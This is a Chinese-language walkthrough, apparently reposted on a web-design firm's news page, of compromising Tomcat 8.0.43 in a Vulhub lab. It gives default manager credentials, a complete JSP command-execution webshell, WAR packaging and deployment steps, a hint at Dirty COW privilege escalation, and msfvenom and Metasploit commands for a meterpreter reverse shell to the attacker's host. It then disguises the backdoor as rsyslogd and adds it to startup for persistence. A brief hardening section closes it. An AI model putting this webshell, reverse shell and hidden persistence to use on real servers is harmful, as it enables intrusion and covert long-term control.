资讯动态

Tomcat 8.0.43漏洞实战:从弱口令到后门植入

发布时间:2026/8/29 1:26:23 来源:尧图企业网站定制
1. 环境准备与漏洞背景最近在复现一个经典的Tomcat漏洞案例用的是8.0.43版本。这个版本有两个致命问题默认弱口令和后台getshell漏洞。先说说环境搭建我用的是Ubuntu系统配合Docker这样能快速搭建一个干净的测试环境。Docker确实是个好东西特别是Vulhub这个漏洞靶场项目把各种漏洞环境都打包好了直接一条命令就能启动。安装Docker后记得先换国内源否则下载速度会让你怀疑人生。具体操作就是在/etc/docker/daemon.json里加上镜像加速地址。然后pull下Vulhub的仓库进入tomcat/CVE-2017-12615目录执行docker-compose up -d环境就起来了。整个过程不超过5分钟比传统虚拟机方便太多。这个漏洞的核心在于Tomcat的管理后台。默认情况下Tomcat会安装一个manager应用用来部署和管理web应用。问题就在于很多管理员懒得改默认密码直接用tomcat:tomcat这种弱口令。更糟的是即使改了密码如果配置不当攻击者还是能利用后台的上传功能植入恶意war包。2. 弱口令爆破实战访问http://你的靶机IP:8080/manager/html会弹出认证对话框。这里我试过用Burp Suite的Intruder模块爆破但实际发现根本不需要这么复杂——直接输入tomcat:tomcat就有很大概率成功。如果不行可以试试admin:admin、manager:manager这些常见组合。有个细节要注意Tomcat 8.0.43默认启用了manager-gui角色但有些版本可能需要手动在conf/tomcat-users.xml里配置。正确的用户配置应该像这样role rolenamemanager-gui/ user usernametomcat passwordtomcat rolesmanager-gui/登录成功后你会看到一个部署界面。重点来了这里可以上传WAR文件部署应用。很多管理员以为这只是普通的管理功能却不知道这正是getshell的入口。我见过不少生产环境就这样敞开着简直是在邀请黑客来喝茶。3. 制作恶意WAR包要利用这个漏洞我们需要先准备一个包含webshell的WAR包。这里我演示两种方法第一种是命令行打包先写个最简单的JSP马%page importjava.util.*,java.io.*% % if(request.getParameter(cmd)!null){ Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while(disr!null){ out.println(disr); disrdis.readLine(); } } %保存为shell.jsp然后用jar命令打包jar -cvf shell.war shell.jsp第二种更简单直接把shell.jsp压缩成ZIP然后改后缀为.war。不过要注意压缩时选择存储模式不要压缩。Windows用户可以用7-Zip记得在压缩窗口把压缩级别改成存储。4. 上传与getshell回到管理界面在WAR file to deploy区域上传刚做好的shell.war。如果成功页面会显示OK - Deployed application at context path /shell。这时候访问http://靶机IP:8080/shell/shell.jsp?cmdid就能执行系统命令了。我更喜欢用蚁剑(AntSword)连接图形化操作更方便。在蚁剑里新建一个JSP类型的shellURL填刚才的地址密码留空因为我们没设密码。连接成功后就能看到服务器文件系统跟本地资源管理器一样操作。有个坑要注意Tomcat默认以tomcat用户运行权限较低。如果执行whoami返回的是tomcat可能需要提权。这时候可以试试上传Linux提权工具比如脏牛漏洞利用程序。5. 植入持久化后门为了维持访问我一般会用msfvenom生成一个meterpreter后门msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST你的攻击机IP LPORT4444 -f elf shell.elf然后用蚁剑上传到服务器的/tmp目录赋予执行权限chmod x /tmp/shell.elf在攻击机上启动msfconsole监听use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 你的攻击机IP set LPORT 4444 run回到蚁剑执行/tmp/shell.elfmsf就会收到会话。这样即使网站管理员删除了webshell我们还能通过meterpreter保持访问。为了更隐蔽可以把这个后门改名为常见的系统进程名比如rsyslogd然后加到启动项里。6. 防御建议既然复现了攻击过程更要明白如何防御。我总结了几个关键点一定要修改默认密码在conf/tomcat-users.xml里设置复杂密码最好16位以上包含特殊字符限制manager应用的访问IP在conf/Catalina/localhost/manager.xml里添加Valve配置Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow192.168.1.*/非必要不启用manager应用生产环境建议删除webapps/manager目录定期更新Tomcat版本这个漏洞在后续版本已经修复使用专用账户运行Tomcat不要用root最大限度降低被提权风险我在一次渗透测试中就遇到过这种情况客户坚持说他们的Tomcat很安全因为改了密码。结果我用弱口令tomcat:Tomcat123!就进去了——很多人只是把密码从全小写改成首字母大写加个简单符号这种修改跟没改差不多。安全防护不能流于形式每个环节都要认真对待。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价